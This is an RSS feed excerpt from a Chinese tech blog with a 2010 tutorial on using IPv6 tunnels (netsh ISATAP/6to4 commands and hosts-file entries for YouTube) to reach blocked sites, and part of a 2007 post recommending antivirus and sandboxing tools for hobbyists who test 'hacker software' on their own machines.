<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Licess&#039;s Blog &#187; 网络安全</title>
	<atom:link href="http://blog.licess.org/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.licess.org</link>
	<description>关注VPS Linux Nginx MySQL PHP WEB开发 系统管理 服务器架构 Debian CentOS</description>
	<lastBuildDate>Wed, 11 Jan 2012 11:56:31 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>IPV6使用教程</title>
		<link>http://blog.licess.org/ipv6-howto/</link>
		<comments>http://blog.licess.org/ipv6-howto/#comments</comments>
		<pubDate>Sat, 24 Apr 2010 03:39:05 +0000</pubDate>
		<dc:creator>licess</dc:creator>
				<category><![CDATA[网络安全]]></category>
		<category><![CDATA[gfw]]></category>
		<category><![CDATA[IPv6]]></category>
		<category><![CDATA[教程]]></category>
		<category><![CDATA[翻墙]]></category>

		<guid isPermaLink="false">http://blog.licess.org/?p=787</guid>
		<description><![CDATA[本文尽量用简单明了的语言描述。 ipv6应该是下一代因特网使用的协议，比ipv4要高级，保密性也更好。我使用它的原因是目前“伟 大的防火墙”对ipv6的网络还没开始审查，可以用来翻墙。 ——————————————————————————————————————— 方法 一:（适 用于adsl直接拨号上网的方式） 点击开始-&#62;运行，输入cmd 回车，然后在弹出的命令框中照下面的样子输入命令： C:\Documents and Settings\Administrator&#62;netsh netsh&#62;int netsh interface&#62;ipv6 netsh interface&#62;ipv6&#62;install     （WIN7已经安装了ipv6协议，不需要这个步骤 ） netsh interface ipv6&#62;isatap netsh interface ipv6 isatap&#62;set router isatap.sjtu.edu.cn （此处 利用上海交大的IPV6通道） 关闭所有浏览器，重新打开，访问www.ipv6.org 看看你的页面。(当你 看到 You are using IPv6 from 2001:…… 时，你就已经成功地将你的网络环境改为了IPV6） 我用了上面的命令就已经成功了，记得要重新打开浏览器。 我在xp+ADSL直接拨号上网环境下测试成功。 假 如还没成功，原文还提供了下面的命令。我用上面那些命令已经成功了，不知道下面的有没有效果。 C:\Documents and Settings\Administrator&#62;netsh netsh&#62;int netsh interface&#62;ipv6 netsh interface&#62;ipv6&#62;install netsh interface [...]]]></description>
			<content:encoded><![CDATA[<p>本文尽量用简单明了的语言描述。<br />
ipv6应该是下一代因特网使用的协议，比ipv4要高级，保密性也更好。我使用它的原因是目前“伟 大的防火墙”对ipv6的网络还没开始审查，可以用来翻墙。<br />
<strong>———————————————————————————————————————</strong><br />
<strong>方法 一:（适 用于adsl直接拨号上网的方式）</strong><br />
点击开始-&gt;运行，输入cmd  回车，然后在弹出的命令框中照下面的样子输入命令：<br />
C:\Documents and Settings\Administrator&gt;netsh<br />
netsh&gt;int<br />
netsh interface&gt;ipv6<br />
netsh interface&gt;ipv6&gt;install     （<strong>WIN7已经安装了ipv6协议，不需要这个步骤</strong> ）<br />
netsh interface ipv6&gt;isatap<br />
netsh interface ipv6 isatap&gt;set router isatap.sjtu.edu.cn <strong>（此处 利用上海交大的IPV6通道）</strong><br />
关闭所有浏览器，重新打开，访问<a href="http://www.ipv6.org/" target="_blank">www.ipv6.org</a> 看看你的页面。(当<strong>你 看到  You are using IPv6 from 2001:…… 时，你就已经成功地将你的网络环境改为了IPV6</strong>）<br />
我用了上面的命令就已经成功了，<strong>记得要重新打开浏览器。<br />
</strong>我在xp+ADSL直接拨号上网环境下测试成功。<span id="more-787"></span></p>
<p><strong>假 如还没成功，原文还提供了下面的命令。</strong>我用上面那些命令已经成功了，不知道下面的有没有效果。<strong><br />
</strong>C:\Documents and Settings\Administrator&gt;netsh<br />
netsh&gt;int<br />
netsh interface&gt;ipv6<br />
netsh interface&gt;ipv6&gt;install<br />
netsh interface ipv6&gt;6to4<br />
netsh interface ipv6 6to4&gt;set relay 202.112.26.246 enable<br />
———————————————————————————————————————-<br />
<strong>方法二：（适用于各种上网方式）</strong><br />
这需要安装一个软件，下载页面（需注册）：<a title="http://gogonet.gogo6.com/page/download-1" href="http://gogonet.gogo6.com/page/download-1" target="_blank">http://gogonet.gogo6.com/page/download-1</a><br />
有适用于Windows、Linux、mac各个操作系统使用的版本，根据实际情况下载。一般人的操作系统都是Windows 32bit的。<br />
为方便大家，我上传了一个 Windows 32bit 的版本，在<a title="这里" href="http://docs.google.com/uc?id=0B8iNB66iE1B-OGFiNGFhMGEtMTcxYS00ZDQyLWEwNmEtMmQwMTRiYWFhZTMz&amp;export=download&amp;hl=zh_CN" target="_blank">这 里</a>，目前已经有更新版本了。<br />
装好后，直接运行程序，所有的设置都用默认的，点connect就行了，连接成功后右下角会弹出一个连接成功的信息。<br />
这个软件的原理是使用该软件的服务器作为中转访问ipv6的网络。<br />
我在Windows7+路由器上网环境下测试成功。<br />
——————————————————————————————————————-</p>
<p>能成功使用ipv6网络后，你就可以用ipv6的方式访问Google了（<a title="http://ipv6.google.com/ncr" href="http://ipv6.google.com/ncr" target="_blank">http://ipv6.google.com/ncr</a>，不加ncr可能 会转到google.hk），Google的图标会动哦！搜索“胡萝卜”，搜索结果页面正常显示。<br />
不习惯英文的话，可以上 <a title="http://ipv6.google.com.hk" href="http://ipv6.google.com.hk/" target="_blank">http://ipv6.google.com.hk</a>，这里有简体中文的 页面<br />
另外，经过测试，将以下内容添加到 <strong>C:\Windows\System32\drivers\etc\hosts </strong>文件末尾，可以正常访问youtube并观看视频。</p>
<div>2001:4860:8006::64 <a href="http://www.youtube.com/" target="_blank">www.youtube.com</a></div>
<div>2001:4860:8006::64 youtube-ui.l.google.com</div>
<div>2001:4860:8006::64  youtube-ui-china.l.google.com</div>
<div>2001:4860:8006::64 m.youtube.com</div>
<div>2001:4860:8006::64 tw.youtube.com</div>
<div>2001:4860:8006::64 youtu.be</div>
<div>2001:4860:8006::64 gdata.youtube.com</div>
<div>2001:4860:8006::64 help.youtube.com</div>
<div>2001:4860:8006::64 upload.youtube.com</div>
<div>2001:4860:8006::64 insight.youtube.com</div>
<div>2001:4860:8006::64 img.youtube.com</div>
<div>2001:4860:8006::64 s2.youtube.com</div>
<div>2001:4860:8006::64 youtube.com</div>
<div>2001:4860:8006::64 apiblog.youtube.com</div>
<div>2001:4860:8006::64 clients1.youtube.com</div>
<div>2001:4860:8006::64  static.cache.l.google.com</div>
<div>2001:4860:8006::76 ytimg.l.google.com</div>
<div>2001:4860:8006::76 i.ytimg.com</div>
<div>2001:4860:8006::76 i1.ytimg.com</div>
<div>2001:4860:8006::76 i2.ytimg.com</div>
<div>2001:4860:8006::76 i3.ytimg.com</div>
<div>2001:4860:8006::76 i4.ytimg.com</div>
<div>2001:4860:8006::76 d.yimg.com</div>
<div>2001:4860:8006::76 s.ytimg.com</div>
<div>2001:4860:4001:402::10  v1.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::10  v1.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::10  v1.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::10  v1.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::10  v1.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::10  v1.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::10  v1.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::10  v1.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::11  v2.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::11  v2.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::11  v2.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::11  v2.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::11  v2.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::11  v2.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::11  v2.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::11  v2.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::12  v3.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::12  v3.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::12  v3.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::12  v3.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::12  v3.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::12  v3.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::12  v3.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::12  v3.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::13  v4.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::13  v4.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::13  v4.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::13  v4.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::13  v4.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::13  v4.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::13  v4.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::13  v4.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::14  v5.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::14  v5.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::14  v5.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::14  v5.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::14  v5.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::14  v5.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::14  v5.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::14  v5.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::15  v6.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::15  v6.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::15  v6.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::15  v6.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::15  v6.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::15  v6.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::15  v6.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::15  v6.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::16  v7.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::16  v7.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::16  v7.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::16  v7.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::16  v7.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::16  v7.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::16  v7.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::16  v7.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::17  v8.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::17  v8.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::17  v8.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::17  v8.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::17  v8.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::17  v8.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::17  v8.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::17  v8.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::18  v9.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::18  v9.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::18  v9.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::18  v9.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::18  v9.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::18  v9.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::18  v9.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::18  v9.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::19  v10.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::19  v10.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::19  v10.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::19  v10.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::19  v10.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::19  v10.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::19  v10.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::19  v10.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::1a  v11.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::1a  v11.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::1a  v11.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::1a  v11.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::1a  v11.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::1a  v11.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::1a  v11.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::1a  v11.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::1b  v12.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::1b  v12.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::1b  v12.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::1b  v12.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::1b  v12.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::1b  v12.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::1b  v12.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::1b  v12.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::1c  v13.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::1c  v13.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::1c  v13.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::1c  v13.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::1c  v13.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::1c  v13.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::1c  v13.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::1c  v13.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::1d  v14.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::1d  v14.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::1d  v14.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::1d  v14.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::1d  v14.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::1d  v14.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::1d  v14.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::1d  v14.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::1e  v15.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::1e  v15.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::1e  v15.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::1e  v15.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::1e  v15.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::1e  v15.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::1e  v15.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::1e  v15.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::20  v16.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::20  v16.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::20  v16.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::20  v16.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::20  v16.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::20  v16.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::20  v16.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::20  v16.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::21  v17.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::21  v17.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::21  v17.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::21  v17.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::21  v17.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::21  v17.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::21  v17.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::21  v17.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::22  v18.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::22  v18.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::22  v18.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::22  v18.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::22  v18.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::22  v18.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::22  v18.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::22  v18.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::23  v19.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::23  v19.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::23  v19.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::23  v19.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::23  v19.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::23  v19.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::23  v19.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::23  v19.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::23  v20.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::23  v20.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::23  v20.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::23  v20.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::23  v20.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::23  v20.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::23  v20.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::23  v20.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::24  v21.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::24  v21.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::24  v21.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::24  v21.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::24  v21.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::24  v21.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::24  v21.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::24  v21.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::35  v22.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::25  v22.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::25  v22.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::25  v22.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::25  v22.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::25  v22.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::25  v22.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::25  v22.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::26  v23.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::26  v23.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::26  v23.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::26  v23.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::26  v23.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::26  v23.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::26  v23.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::26  v23.lscache8.c.youtube.com</div>
<div>2001:4860:4001:402::27  v24.lscache1.c.youtube.com</div>
<div>2001:4860:4001:402::27  v24.lscache2.c.youtube.com</div>
<div>2001:4860:4001:402::27  v24.lscache3.c.youtube.com</div>
<div>2001:4860:4001:402::27  v24.lscache4.c.youtube.com</div>
<div>2001:4860:4001:402::27  v24.lscache5.c.youtube.com</div>
<div>2001:4860:4001:402::27  v24.lscache6.c.youtube.com</div>
<div>2001:4860:4001:402::27  v24.lscache7.c.youtube.com</div>
<div>2001:4860:4001:402::27  v24.lscache8.c.youtube.com</div>
<p>通过类似的修改hosts文件操作，还可以访问诸多原本无法访问的Google服务，像picasa网络相册等，具体内容请参考下面的文档：<br />
<a title="https://docs.google.com/View?id=dfkdmxnt_61d9ck9ffq" href="https://docs.google.com/View?id=dfkdmxnt_61d9ck9ffq" target="_blank">https://docs.google.com/View?id=dfkdmxnt_61d9ck9ffq</a></p>
<p>本文参考 <a title="http://www.mytuitui.com/archives/adsl-ipv6-hosts-google.html" href="http://www.mytuitui.com/archives/adsl-ipv6-hosts-google.html" target="_blank">http://www.mytuitui.com/archives/adsl-ipv6-hosts-google.html</a>， 原文有更详细专业的说明。</p>
<p><a href="http://docs.google.com/View?id=ddjx89bf_18c252wh2m" target="_blank">原文地址</a></p>
<h2  class="related_post_title">相关文章：</h2><ul class="related_post"><li><a href="http://blog.licess.org/myentunnel-firefox-foxyproxy-ssh/" title="MyEnTunnel+FireFox+FoxyProxy 通过SSH帐号翻墙教程">MyEnTunnel+FireFox+FoxyProxy 通过SSH帐号翻墙教程</a></li><li><a href="http://blog.licess.org/taobao-remove-vpn-ssh-goods/" title="淘宝开始删除VPN、SSH等翻墙商品">淘宝开始删除VPN、SSH等翻墙商品</a></li><li><a href="http://blog.licess.org/google-chrome-ssh-switchy/" title="Google浏览器Chrome SSH翻墙设置教程">Google浏览器Chrome SSH翻墙设置教程</a></li><li><a href="http://blog.licess.org/lnmp-pureftpd-cp/" title="lnmp之pureftpd管理面板安装教程[图文]">lnmp之pureftpd管理面板安装教程[图文]</a></li><li><a href="http://blog.licess.org/linux-vps-deny-ip/" title="Linux VPS禁止某个IP访问">Linux VPS禁止某个IP访问</a></li><li><a href="http://blog.licess.org/%e4%b8%ad%e5%9b%bd%e7%bd%91%e7%ab%99%e7%bb%b4%e6%8a%a4%e6%97%a5/" title="中国网站维护日">中国网站维护日</a></li><li><a href="http://blog.licess.org/bing-twitter-live-flickr-hotmail/" title="Bing.com、Twitter.com、Live.com、Flickr.com, 以及Hotmail.com集体被封">Bing.com、Twitter.com、Live.com、Flickr.com, 以及Hotmail.com集体被封</a></li><li><a href="http://blog.licess.org/http_load-webbench-ab-siege/" title="Web服务器性能/压力测试工具http_load、webbench、ab、Siege使用教程">Web服务器性能/压力测试工具http_load、webbench、ab、Siege使用教程</a></li><li><a href="http://blog.licess.org/%e4%bb%80%e4%b9%88%e6%98%afgfw%ef%bc%9f/" title="什么是GFW？">什么是GFW？</a></li></ul><hr />
<p><small>© licess for <a href="http://blog.licess.org">Licess&#039;s Blog</a>, 2010. |
<a href="http://blog.licess.org/ipv6-howto/">Permalink</a> |
<a href="http://blog.licess.org/ipv6-howto/#comments">3 comments</a> |
Add to
<a href="http://del.icio.us/post?url=http://blog.licess.org/ipv6-howto/&title=IPV6使用教程">del.icio.us</a>
<br/>
Post tags: <a href="http://blog.licess.org/tag/gfw/" rel="tag">gfw</a>, <a href="http://blog.licess.org/tag/ipv6/" rel="tag">IPv6</a>, <a href="http://blog.licess.org/tag/%e6%95%99%e7%a8%8b/" rel="tag">教程</a>, <a href="http://blog.licess.org/tag/%e7%bf%bb%e5%a2%99/" rel="tag">翻墙</a><br/>
<br/>
<img src="http://www.vpser.net/images/tuijian.gif"> <a href="http://www.vpser.net/usa-vps/">美国VPS推荐</a>  | <a href="http://shop63846532.taobao.com/">军哥代购 - 提供美国及海外VPS/VPN/域名代购，美元/欧元代付</a> QQ：503228080
</small></p>]]></content:encoded>
			<wfw:commentRss>http://blog.licess.org/ipv6-howto/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>十种武器保证你的系统安全</title>
		<link>http://blog.licess.org/%e5%8d%81%e7%a7%8d%e6%ad%a6%e5%99%a8%e4%bf%9d%e8%af%81%e4%bd%a0%e7%9a%84%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8/</link>
		<comments>http://blog.licess.org/%e5%8d%81%e7%a7%8d%e6%ad%a6%e5%99%a8%e4%bf%9d%e8%af%81%e4%bd%a0%e7%9a%84%e7%b3%bb%e7%bb%9f%e5%ae%89%e5%85%a8/#comments</comments>
		<pubDate>Sat, 03 Nov 2007 02:21:00 +0000</pubDate>
		<dc:creator>licess</dc:creator>
				<category><![CDATA[网络安全]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[软件]]></category>

		<guid isPermaLink="false">/articles/46</guid>
		<description><![CDATA[我相信玩很多玩黑软的朋友都有这样一个问题。想安全吧，装杀毒软件，结果自己的很多黑软都被杀的光光，不装吧，又怕被病毒感染，后门等等，导致系统挂掉，硬盘也要格式化。哈哈。今天我就把我自己如何解决这些问题的方法告诉你们，既可以随心所欲的玩黑软，又不担心病毒的骚扰。 注：以下只是我个人所见。由于下面所涉及到的软件网上都有的下，再有本论坛空间有限，就不上传了，如网上有找不到的可以联系我。 1 avast4.78 [安装版]：占用内存非常小，全面监控，WEB监控不比Kaspersky6差，防火墙也不错。内存监控比较弱。 2 AVG Anti-Virus v7.5 [安装版]：占用内存非常强[尤其文本，比诺盾还强。]，全面监控，WEB监控不行。内存监控比较强。 3 Dr.Web V4.33 [绿色版]：大蜘蛛占用内存非常小，内存监控强，查杀能力非常强。 4 Virus Chaser [绿色版]：驱逐舰占用内存非常小，内存监控非常强，查壳能力非常强。注意，如果开启内存监控，他所疑视文件会被锁定，只有结束它的进程后重起机器才可以。[做辅助查杀非常不错] 5 Kaspersky6 [绿色版]：无监控，占用内存非常小，查杀能力强。[做辅助查杀非常不错] 6 AVG Anti-Spyware 7.5 [绿色版]：启发式监控，占用内存非常小，查杀能力强。[做辅助查杀非常不错] 7 F-Prot Antivirus v3.16F [绿色版]：冰岛占用内存非常小，无监控，用内存非常小，查杀能力比较强。[做辅助查杀非常不错] 8 卡巴斯基防火墙 [绿色版]：操纵明了，自定义规则能力非常强，可防御冲击波等病毒。但与AVAST4.78自带的防火墙功能冲突，导致AVAST自带的防火墙功能不能运行，不过AVAST那些功能正好是 卡巴斯基防火墙 的本职功能，正好拟补。[怕麻烦的别用这个，哈哈。] 9 360safe3.0 [绿色版]：最后一个就是这个了，不是叫你找流氓软件啊，而是它有个非常好用的功能，就是他的 注册表 监视功能。如有更改，它会提示你操纵。再通过它的其他功能一目了然的了解所有动作。[推荐使用] 10 影子系统 [安装版]：这个是我最后推荐的，如果你看后觉得装杀毒还是麻烦，或者说我根本就不想装，再者说，你要本机测试木马病毒等，那我隆重推荐你使用影子系统，安装简单，一路下一步，最后重起机器就OK了，启动机器时会在启动项里有[进入影子系统单一模式：这个模式是只保护你的系统盘][进入影子系统完全模式：这个模式是保护你硬盘所有分区]，你也可以跳过这个，在桌面的快捷方式启动影子系统。用影子系统的好处是：1单一模式(保护系统盘)，你的所有操纵都是建立在系统盘上的，本机测试木马病毒等时所有都是要写进系统的，重起机器后所有操纵都会被还原，即使是木马，病毒都会消失！如果你有需要保存的软件等，不要保存在系统盘，请存放在其他未被保护的盘，这样才不会被还原。2完全模式(保护硬盘所有分区)即使你中了硬盘炸弹，重起机器后你的硬盘还是安然无恙。3还原能力经本人测试，远远超过还原精灵和还原卡。我用影子 相关文章：我的Android常用软件金山快盘 &#8211; 类Dropbox同步软件推荐Linux下的软件开发工具软件开发入门学习的个人看法移动存储安全手动清除chcp.exe病毒 保护MSN的安全编写autorun病毒免疫工具U盘(auto病毒)类病毒分析与解决方案一个不为人知的感染几百万校内网用户的蠕虫分析HTTP File Server汉化绿色版- 傻瓜式架设个人文件下载共享网站 © licess for Licess&#039;s [...]]]></description>
			<content:encoded><![CDATA[<p><font size="2">我相信玩很多玩黑软的朋友都有这样一个问题。想安全吧，装杀毒软件，结果自己的很多黑软都被杀的光光，不装吧，又怕被病毒感染，后门等等，导致系统挂掉，硬盘也要格式化。哈哈。今天我就把我自己如何解决这些问题的方法告诉你们，既可以随心所欲的玩黑软，又不担心病毒的骚扰。<br />
<font color="#0000ff">注：以下只是我个人所见。由于下面所涉及到的软件网上都有的下，再有本论坛空间有限，就不上传了，如网上有找不到的可以联系我。</font></p>
<p>1 avast4.78 [安装版]：占用内存非常小，全面监控，<font color="#0000ff">WEB监控不比Kaspersky6差，</font>防火墙也不错。内存监控比较弱。</p>
<p>2 AVG Anti-Virus v7.5 [安装版]：<font color="#ff0000">占用内存非常强[尤其文本，比诺盾还强。]，</font>全面监控，WEB监控不行。内存监控比较强。</p>
<p>3 Dr.Web V4.33 [绿色版]：大蜘蛛占用内存非常小，<font color="#ff0000">内存监控强，查杀能力非常强。</font></p>
<p>4 Virus Chaser [绿色版]：<font color="#ff00ff">驱逐舰占用内存非常小，内存监控非常强，查壳能力非常强。注意，如果开启内存监控，他所疑视文件会被锁定，只有结束它的进程后重起机器才可以。[做辅助查杀非常不错]</font></p>
<p>5 Kaspersky6 [绿色版]：无监控，占用内存非常小，查杀能力强。[做辅助查杀非常不错]</p>
<p>6 AVG Anti-Spyware 7.5 [绿色版]：启发式监控，占用内存非常小，查杀能力强。[做辅助查杀非常不错]</p>
<p>7 F-Prot Antivirus v3.16F [绿色版]：冰岛占用内存非常小，无监控，用内存非常小，查杀能力比较强。[做辅助查杀非常不错]</p>
